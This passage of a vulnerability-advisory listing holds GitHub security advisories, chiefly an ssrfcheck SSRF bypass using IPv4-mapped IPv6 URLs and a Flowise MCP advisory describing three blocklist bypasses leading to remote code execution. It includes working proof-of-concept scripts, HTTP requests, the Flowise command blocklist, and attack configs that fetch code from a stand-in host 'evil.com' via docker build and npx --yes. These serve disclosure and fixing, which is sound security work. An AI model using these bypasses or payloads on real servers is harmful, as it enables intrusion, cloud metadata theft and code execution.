since Node.js adopted WHATWG URL (v10+).\n\n**Entry point** (`src/index.js`):\n\n```js\nif (hostIsIp \u0026\u0026 (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {\n  return false;   // \u2190 never reached for IPv4-mapped IPv6\n}\nreturn true;      // \u2190 always reached \u2192 BYPASS\n```\n\n---\n\n### PoC\n\n**Environment:** Node.js \u003e= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required \u2014 default options are vulnerable.\n\n**Setup:**\n\n```bash\nmkdir ssrfcheck-poc \u0026\u0026 cd ssrfcheck-poc\nnpm init -y\nnpm install ssrfcheck\n```\n\n**Step 1 \u2014 confirm WHATWG URL normalization:**\n\n```bash\nnode \u003c\u003c \u0027EOF\u0027\nconst addrs = [\n  [\u0027127.0.0.1\u0027,       \u0027loopback\u0027],\n  [\u0027169.254.169.254\u0027, \u0027AWS/GCP/Azure metadata\u0027],\n  [\u0027192.168.1.1\u0027,     \u0027private LAN\u0027],\n  [\u002710.0.0.1\u0027,        \u002710.x range\u0027],\n];\nfor (const [ip, label] of addrs) {\n  const h = new URL(\u0027http://[::ffff:\u0027 + ip + \u0027]/\u0027).hostname;\n  console.log(label + \u0027 -\u003e \u0027 + h);\n}\nEOF\n```\n\nExpected output \u2014 confirms WHATWG drops dots:\n```\nloopback              -\u003e [::ffff:7f00:1]\nAWS/GCP/Azure metadata -\u003e [::ffff:a9fe:a9fe]\nprivate LAN           -\u003e [::ffff:c0a8:101]\n10.x range            -\u003e [::ffff:a00:1]\n```\n\n**Step 2 \u2014 trigger the bypass:**\n\n```bash\nnode \u003c\u003c \u0027EOF\u0027\nconst { isSSRFSafeURL } = require(\u0027ssrfcheck\u0027);\n\nconst bypasses = [\n  \u0027http://[::ffff:127.0.0.1]/\u0027,\n  \u0027http://[::ffff:169.254.169.254]/\u0027,\n  \u0027http://[::ffff:192.168.1.1]/\u0027,\n  \u0027http://[::ffff:10.0.0.1]/\u0027,\n  \u0027http://[::ffff:172.16.0.1]/\u0027,\n  \u0027http://[::ffff:7f00:1]/\u0027,\n  \u0027http://[0:0:0:0:0:ffff:127.0.0.1]/\u0027,\n];\n\nfor (const url of bypasses) {\n  const result = isSSRFSafeURL(url);\n  console.log(result === true ? \u0027[BYPASS]\u0027 : \u0027[caught]\u0027, url, \u0027-\u003e\u0027, result);\n}\n\nconsole.log(\u0027---\u0027);\nconst r1 = isSSRFSafeURL(\u0027http://127.0.0.1/\u0027);\nconst r2 = isSSRFSafeURL(\u0027http://192.168.1.1/\u0027);\nconst r3 = isSSRFSafeURL(\u0027http://[::1]/\u0027);\nconsole.log(\u0027127.0.0.1 caught?\u0027,   r1 === false);\nconsole.log(\u0027192.168.1.1 caught?\u0027, r2 === false);\nconsole.log(\u0027[::1] caught?\u0027,        r3 === false);\nEOF\n```\n\n**Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):**\n\n```\n[BYPASS] http://[::ffff:127.0.0.1]/           -\u003e true\n[BYPASS] http://[::ffff:169.254.169.254]/     -\u003e true\n[BYPASS] http://[::ffff:192.168.1.1]/         -\u003e true\n[BYPASS] http://[::ffff:10.0.0.1]/            -\u003e true\n[BYPASS] http://[::ffff:172.16.0.1]/          -\u003e true\n[BYPASS] http://[::ffff:7f00:1]/              -\u003e true\n[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/  -\u003e true\n---\n127.0.0.1 caught?   true\n192.168.1.1 caught? true\n[::1] caught?        true\n```\n\n7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.\n\n**Full automated verification script (`verify-ssrfcheck.js`):**\n\n```js\n#!/usr/bin/node\n// ssrfcheck bypass verification script\n// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization\n\nconst { isSSRFSafeURL } = require(\u0027ssrfcheck\u0027);\n\nconst RED   = \u0027\\x1b[31m\u0027;\nconst GREEN = \u0027\\x1b[32m\u0027;\nconst CYAN  = \u0027\\x1b[36m\u0027;\nconst DIM   = \u0027\\x1b[2m\u0027;\nconst RESET = \u0027\\x1b[0m\u0027;\n\nconst BYPASSES = [\n  { url: \u0027http://[::ffff:127.0.0.1]/\u0027,         label: \u0027loopback   (127.0.0.1)\u0027 },\n  { url: \u0027http://[::ffff:169.254.169.254]/\u0027,   label: \u0027AWS meta   (169.254.169.254)\u0027 },\n  { url: \u0027http://[::ffff:192.168.1.1]/\u0027,       label: \u0027LAN        (192.168.1.1)\u0027 },\n  { url: \u0027http://[::ffff:10.0.0.1]/\u0027,          label: \u002710.x range (10.0.0.1)\u0027 },\n  { url: \u0027http://[::ffff:172.16.0.1]/\u0027,        label: \u0027172.16.x   (172.16.0.1)\u0027 },\n  { url: \u0027http://[::ffff:7f00:1]/\u0027,            label: \u0027hex form   (direct)\u0027 },\n  { url: \u0027http://[0:0:0:0:0:ffff:127.0.0.1]/\u0027, label: \u0027expanded   (0:0:0:0:0:ffff:127.0.0.1)\u0027 },\n];\n\nconst BASELINE = [\n  { url: \u0027http://127.0.0.1/\u0027,    label: \u0027dotted loopback\u0027, expectFalse: true },\n  { url: \u0027http://192.168.1.1/\u0027,  label: \u0027private LAN\u0027,     expectFalse: true },\n  { url: \u0027http://[::1]/\u0027,        label: \u0027IPv6 loopback\u0027,   expectFalse: true },\n  { url: \u0027https://example.com/\u0027, label: \u0027public domain\u0027,   expectFalse: false },\n];\n\nconsole.log(`\\n${CYAN}=== ssrfcheck v1.3.0 \u2014 bypass verification ===${RESET}`);\nconsole.log(`${DIM}Node.js ${process.version}${RESET}\\n`);\n\nconsole.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);\nfor (const { url } of BYPASSES) {\n  const parsed = new URL(url);\n  console.log(`  ${url.padEnd(45)} -\u003e hostname: ${parsed.hostname}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);\nlet bypassed = 0;\nfor (const { url, label } of BYPASSES) {\n  const result = isSSRFSafeURL(url);\n  if (result === true) bypassed++;\n  const tag = result === true\n    ? `${RED}[BYPASS]${RESET}`\n    : `${GREEN}[caught]${RESET}`;\n  console.log(`  ${tag} ${label.padEnd(30)} -\u003e isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 3] Baseline checks${RESET}`);\nfor (const { url, label, expectFalse } of BASELINE) {\n  const result = isSSRFSafeURL(url);\n  const ok = (expectFalse ? result === false : result === true);\n  const tag = ok ? `${GREEN}[OK]${RESET}    ` : `${RED}[FAIL]${RESET}  `;\n  console.log(`  ${tag} ${label.padEnd(20)} -\u003e isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\\n`);\nprocess.exit(bypassed === BYPASSES.length ? 1 : 0);\n```\n\nRun:\n```bash\nnode verify-ssrfcheck.js\n# exit code 1 = bypasses confirmed (vulnerable)\n# exit code 0 = all caught (fixed)\n```\n# VIDEO POC ASCII CAST\n\n[![asciicast](https://asciinema.org/a/CxTKMwrlcHUUbQT8.svg)](https://asciinema.org/a/CxTKMwrlcHUUbQT8)\n\n--\n\n### Impact\n\n**Vulnerability type:** Server-Side Request Forgery (SSRF) \u2014 complete protection bypass\n\n**Who is impacted:** Any Node.js application that:\n1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload)\n2. Uses `isSSRFSafeURL()` from `ssrfcheck` to validate that URL before making an outbound HTTP request\n3. Runs on Node.js \u003e= 10 (WHATWG URL parser enabled \u2014 all supported versions as of 2026)\n\n**Concrete impact scenarios:**\n\n- **Cloud metadata theft:** On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat \n- **Internal network pivoting:** Attacker reaches services on `10.x.x.x`, `172.16.x.x`, `192.168.x.x` that are not exposed to the internet, bypassing the only protection layer.\n- **Localhost access:** Attacker reaches `http://[::ffff:127.0.0.1]/admin` or any service bound to loopback on the server.\n\nThe bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version \u003e= 10.\n\n\n## Weaknesses\n\n**CWE-918** \u2014 Server-Side Request Forgery (SSRF)\n**CWE-184** \u2014 Incomplete List of Disallowed Inputs\n\n---\n\n## Suggested Fix\n\nReplace the hand-rolled regex denylist in `src/is-private-ip.js` with Node\u0027s built-in `net.BlockList`, which operates on parsed IP values and is immune to string representation differences:\n\n```diff\n- function privIp6 (ip) {\n-   return /^::$/.test(ip) ||\n-     /^::1$/.test(ip) ||\n-     /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n-     /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n-     ...\n- }\n\n+ const { BlockList } = require(\u0027net\u0027);\n+\n+ const _ipv6Block = new BlockList();\n+ _ipv6Block.addAddress(\u0027::\u0027,          \u0027ipv6\u0027);          // unspecified\n+ _ipv6Block.addAddress(\u0027::1\u0027,         \u0027ipv6\u0027);          // loopback\n+ _ipv6Block.addSubnet(\u0027::ffff:0:0\u0027,   96, \u0027ipv6\u0027);      // ALL IPv4-mapped \u2014 catches any private IPv4 in any notation\n+ _ipv6Block.addSubnet(\u002764:ff9b::\u0027,    96, \u0027ipv6\u0027);      // NAT64\n+ _ipv6Block.addSubnet(\u0027fc00::\u0027,        7, \u0027ipv6\u0027);      // ULA\n+ _ipv6Block.addSubnet(\u0027fe80::\u0027,       10, \u0027ipv6\u0027);      // link-local\n+ _ipv6Block.addSubnet(\u0027ff00::\u0027,        8, \u0027ipv6\u0027);      // multicast\n+ _ipv6Block.addSubnet(\u0027100::\u0027,        64, \u0027ipv6\u0027);      // IETF reserved\n+ _ipv6Block.addSubnet(\u00272001::\u0027,       32, \u0027ipv6\u0027);      // Teredo\n+ _ipv6Block.addSubnet(\u00272001:db8::\u0027,   32, \u0027ipv6\u0027);      // documentation\n+ _ipv6Block.addSubnet(\u00272002::\u0027,       16, \u0027ipv6\u0027);      // 6to4\n+\n+ function privIp6(ip) {\n+   try { return _ipv6Block.check(ip, \u0027ipv6\u0027); }\n+   catch { return false; }\n+ }\n```\n\nThe `::ffff:0:0/96` subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. `BlockList.check()` parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.",
  "id": "GHSA-j4rj-2jr5-m439",
  "modified": "2026-05-13T16:26:31Z",
  "published": "2026-05-05T20:29:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/felippe-regazio/ssrfcheck/security/advisories/GHSA-j4rj-2jr5-m439"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43929"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/felippe-regazio/ssrfcheck"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs"
}

GHSA-J594-4MW2-8PMC

Vulnerability from github – Published: 2024-03-05 12:30 – Updated: 2024-10-17 12:30
VLAI
Details

A CWE-693 “Protection Mechanism Failure” vulnerability in the embedded Chromium browser (concerning the handling of alternative URLs, other than “ http://localhost” http://localhost” ) allows a physical attacker to read arbitrary files on the file system, alter the configuration of the embedded browser, and have other unspecified impacts to the confidentiality, integrity, and availability of the device. This issue affects: AiLux imx6 bundle below version imx6_1.0.7-2.

Severity
6.8 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-45593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-05T12:15:46Z",
    "severity": "MODERATE"
  },
  "details": "A CWE-693 \u201cProtection Mechanism Failure\u201d vulnerability in the embedded Chromium browser (concerning the handling of alternative URLs, other than \u201c http://localhost\u201d http://localhost\u201d ) allows a physical attacker to read arbitrary files on the file system, alter the configuration of the embedded browser, and have other unspecified impacts to the confidentiality, integrity, and availability of the device. This issue affects: AiLux imx6 bundle below version imx6_1.0.7-2.",
  "id": "GHSA-j594-4mw2-8pmc",
  "modified": "2024-10-17T12:30:51Z",
  "published": "2024-03-05T12:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45593"
    },
    {
      "type": "WEB",
      "url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2023-45593"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J94M-42W6-VQP7

Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39
VLAI
Details

Multiple vulnerabilities in the REST API endpoint of Cisco Data Center Network Manager (DCNM) could allow an authenticated, remote attacker to view, modify, and delete data without proper authorization. For more information about these vulnerabilities, see the Details section of this advisory.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-1255"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-20T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple vulnerabilities in the REST API endpoint of Cisco Data Center Network Manager (DCNM) could allow an authenticated, remote attacker to view, modify, and delete data without proper authorization.\n For more information about these vulnerabilities, see the Details section of this advisory.\n ",
  "id": "GHSA-j94m-42w6-vqp7",
  "modified": "2022-05-24T17:39:38Z",
  "published": "2022-05-24T17:39:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1255"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-dcnm-api-path-TpTApx2p"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-M379-7MFM-WQR6

Vulnerability from github – Published: 2025-09-08 15:37 – Updated: 2025-10-17 21:31
VLAI
Details

The on-endpoint Microsoft vulnerable driver blocklist is not fully synchronized with the online Microsoft recommended driver block rules. Some entries present on the online list have been excluded from the on-endpoint blocklist longer than the expected periodic monthly Windows updates. It is possible to fully synchronize the driver blocklist using WDAC policies. NOTE: The vendor explains that Windows Update provides a smaller, compatibility-focused driver blocklist for general users, while the full XML list is available for advanced users and organizations to customize at the risk of usability issues.

Severity
7.4 (High)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-50238"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-820"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-08T15:15:32Z",
    "severity": "HIGH"
  },
  "details": "The on-endpoint Microsoft vulnerable driver blocklist is not fully synchronized with the online Microsoft recommended driver block rules. Some entries present on the online list have been excluded from the on-endpoint blocklist longer than the expected periodic monthly Windows updates. It is possible to fully synchronize the driver blocklist using WDAC policies. NOTE: The vendor explains that Windows Update provides a smaller, compatibility-focused driver blocklist for general users, while the full XML list is available for advanced users and organizations to customize at the risk of usability issues.",
  "id": "GHSA-m379-7mfm-wqr6",
  "modified": "2025-10-17T21:31:17Z",
  "published": "2025-09-08T15:37:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-50238"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wdormann/applywdac"
    },
    {
      "type": "WEB",
      "url": "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M866-6QV5-P2FG

Vulnerability from github – Published: 2026-03-31 23:57 – Updated: 2026-05-06 23:22
VLAI
Summary
OpenClaw host-env blocklist missing `GIT_TEMPLATE_DIR` and `AWS_CONFIG_FILE` allows code execution via env override
Details

Summary

Host execution env sanitization did not block GIT_TEMPLATE_DIR or AWS_CONFIG_FILE, even though both can redirect trusted tooling to attacker-controlled content.

Impact

An approved exec request could redirect git or AWS CLI behavior through attacker-controlled configuration and execute untrusted code or load attacker-selected credentials.

Affected Component

src/infra/host-env-security-policy.json, src/infra/host-env-security.ts

Fixed Versions

  • Affected: <= 2026.3.24
  • Patched: >= 2026.3.28
  • Latest stable 2026.3.28 contains the fix.

Fix

Fixed by commit 6eb82fba3c (Infra: block additional host exec env keys).

OpenClaw thanks @nicky-cc of Tencent zhuque Lab https://github.com/Tencent/AI-Infra-Guard for reporting.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.24"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:57:00Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nHost execution env sanitization did not block `GIT_TEMPLATE_DIR` or `AWS_CONFIG_FILE`, even though both can redirect trusted tooling to attacker-controlled content.\n\n## Impact\n\nAn approved exec request could redirect git or AWS CLI behavior through attacker-controlled configuration and execute untrusted code or load attacker-selected credentials.\n\n## Affected Component\n\n`src/infra/host-env-security-policy.json, src/infra/host-env-security.ts`\n\n## Fixed Versions\n\n- Affected: `\u003c= 2026.3.24`\n- Patched: `\u003e= 2026.3.28`\n- Latest stable `2026.3.28` contains the fix.\n\n## Fix\n\nFixed by commit `6eb82fba3c` (`Infra: block additional host exec env keys`).\n\nOpenClaw thanks @nicky-cc of Tencent zhuque Lab [https://github.com/Tencent/AI-Infra-Guard](https://github.com/Tencent/AI-Infra-Guard) for reporting.",
  "id": "GHSA-m866-6qv5-p2fg",
  "modified": "2026-05-06T23:22:17Z",
  "published": "2026-03-31T23:57:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-m866-6qv5-p2fg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/6eb82fba3cbfd0e50b179c1fada92e1e22dce7fa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-code-execution-via-missing-environment-variable-blocklist"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw host-env blocklist missing `GIT_TEMPLATE_DIR` and `AWS_CONFIG_FILE` allows code execution via env override"
}

GHSA-M99R-2HXC-CP3Q

Vulnerability from github – Published: 2026-05-14 14:57 – Updated: 2026-05-15 23:47
VLAI
Summary
Flowise has an MCP Security Bypass that Enables RCE
Details

Summary

There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods

Details

【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution

The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine

Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the docker command

Vulnerable function - validateCommandFlags: 

file: packages/components/nodes/tools/MCP/core.ts:260-310

const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {
    docker: [
        'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
        '--security-opt', '--network', '--pid', '--ipc'
        //  'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist 
    ],
    npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
    npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],
    // ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
    const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
    for (const arg of args) {
        if (blacklist.includes(arg)) {
            return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }
        }
    }
    return { valid: true }
}

Reproduction process:

Add MCP config via UI or API interface, for example:

2f0b6dfad5458616781921e1c28339d0

Then execute: 

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

After execution, the command can be triggered to execute docker build http://evil.com

f98e1d91428be6077ac6cf0472285f17

If a privileged container is deployed, then it can fully control the Flowise host machine

【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution

The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} → validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes → npx --yes malicious-package automatically agrees to install and execute any npm package → Leads to remote code execution (RCE) on the server

Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the npx command

npx blocklist:

file: packages/components/nodes/tools/MCP/core.ts:270-280

npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
//    Only the short parameter -y is present, without the long parameter alias --yes

Reproduction process: Add MCP config via UI or API interface, for example:

85ea14ea224df9ed501827dfa47afb09

{
  "command": "npx",
  "args":["--yes", "http://evil.com/FileName.tar"]
}

Contents of the tar file:

// index.js
#!/usr/bin/env node
const http = require('http');
const { execSync } = require('child_process');

const result = execSync('id && hostname').toString().trim();
console.error('[MCP-RCE-002] npx --yes bypass: ' + result);

// package.json
{
  "name": "attacker-mcp-pkg",
  "version": "1.0.0",
  "bin": {
    "attacker-mcp-pkg": "./index.js"
  },
  "scripts": {
    "postinstall": ""
  }
}

Then execute: 

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

can trigger the vulnerability, execute the attacker's commands, and achieve RCE:

4c466067deb4606a38e4b73806661328

node command bypassing local file restrictions leads to remote code execution

When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} → Bypass the security restrictions of validateArgsForLocalFileAccess → Node process loads local files and executes arbitrary code → RCE

Precondition: Have a Flowise account

Analysis of Vulnerable Code:

// packages/components/nodes/tools/MCP/core.ts:177-220

export const validateArgsForLocalFileAccess = (args: string[]): void => {
    const dangerousPatterns = [
        // Absolute paths
        /^\/[^/]/, // Unix absolute paths starting with /
        /^[a-zA-Z]:\\/, // Windows absolute paths like C:\

        // Relative paths that could escape current directory
        /\.\.\//, // Parent directory traversal with ../
        /\.\.\\/, // Parent directory traversal with ..\
        /^\.\./, // Starting with ..

        // Local file access patterns
        /^\.\//, // Current directory with ./
        /^~\//, // Home directory with ~/
        /^file:\/\//, // File protocol

        // Common file extensions that shouldn't be accessed
        /\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,

        // File flags and options that could access local files
        /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,
        /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i
    ]

The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^\/[^/]/" has a matching issue

As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/')

ea354264cbb2ace6a3a6a16e00f1d298

Therefore, the limitation of this function can be bypassed by starting with //

** Reproduction process: **

Create a new chatflow as follows:

7e884613b5897509b39467f8f3b7aae1

After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory

orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:

48b5ab8412babba312f502be5db1dad3

For example: 

~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js

Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:

990e1c81ed3957c5ae823e55efec15a5

POST /api/v1/export-import/import  HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 479

 {
    "ChatMessage": [
      {
        "id": "11111111-2222-4333-8444-555555555555",
        "role": "userMessage",
        "chatflowid": "{chatflow_id}",
        "content": "seed for home path test",
        "chatType": "EXTERNAL",
        "chatId": "audit-home-001",
        "createdDate": "2026-03-04T06:40:00.000Z",
        "fileUploads": "[{\"type\":\"stored-file\",\"name\":\"poc.txt\",\"mime\":\"text/plain\"}]"
      }
    ]
  }

d7f947940f4e6b6e95a61bcc301c25c0

POST /api/v1/export-import/chatflow-messages HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 57

{"chatflowId":"{chatflow_id}"}

After obtaining the absolute path, simply modify the path in args to the path of the file name: 

  {
    "command": "node",
    "args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"]
  }

After saving, execution will trigger RCE 

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

Impact

This vulnerability allows attackers to execute arbitrary commands on the Flowise server .

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T14:57:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nThere are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods\n\n## Details\n\n\n### \u3010Vulnerability  one\u3011The Docker build subcommand not being on the blocklist leads to remote code execution \n\nThe attacker configures the interface through the MCP tool to provide {\"command\":\"docker\",\"args\":[\"build\",\"https://evil.com/\"]} as the Custom MCP Server configuration \n\u2192 Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build)\n\u2192 docker build \u003cremote-URL\u003e will pull the Dockerfile from the remote address and execute the RUN instructions within it\n\u2192 Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine \n\nPrecondition: \n1. Have a Flowise account (any role, including regular users) or an API with view\u0026update permissions for chatflows\n2. The deployment environment has the docker command\n\nVulnerable function - validateCommandFlags: \n\n```\nfile: packages/components/nodes/tools/MCP/core.ts:260-310\n\nconst COMMAND_FLAG_BLACKLIST: Record\u003cstring, string[]\u003e = {\n    docker: [\n        \u0027run\u0027, \u0027exec\u0027, \u0027-v\u0027, \u0027--volume\u0027, \u0027--privileged\u0027, \u0027--cap-add\u0027,\n        \u0027--security-opt\u0027, \u0027--network\u0027, \u0027--pid\u0027, \u0027--ipc\u0027\n        //  \u0027build\u0027, \u0027pull\u0027, \u0027push\u0027, \u0027cp\u0027, \u0027commit\u0027 are not on the blocklist \n    ],\n    npx: [\u0027-c\u0027, \u0027--call\u0027, \u0027--shell-auto-fallback\u0027, \u0027-y\u0027],\n    npm: [\u0027run\u0027, \u0027exec\u0027, \u0027install\u0027, \u0027--prefix\u0027, \u0027-g\u0027, \u0027--global\u0027, \u0027publish\u0027, \u0027adduser\u0027, \u0027login\u0027],\n    // ...\n}\nexport function validateCommandFlags(command: string, args: string[]): ValidationResult {\n    const blacklist = COMMAND_FLAG_BLACKLIST[command] || []\n    for (const arg of args) {\n        if (blacklist.includes(arg)) {\n            return { valid: false, error: `Argument \u0027${arg}\u0027 is not allowed for command \u0027${command}\u0027` }\n        }\n    }\n    return { valid: true 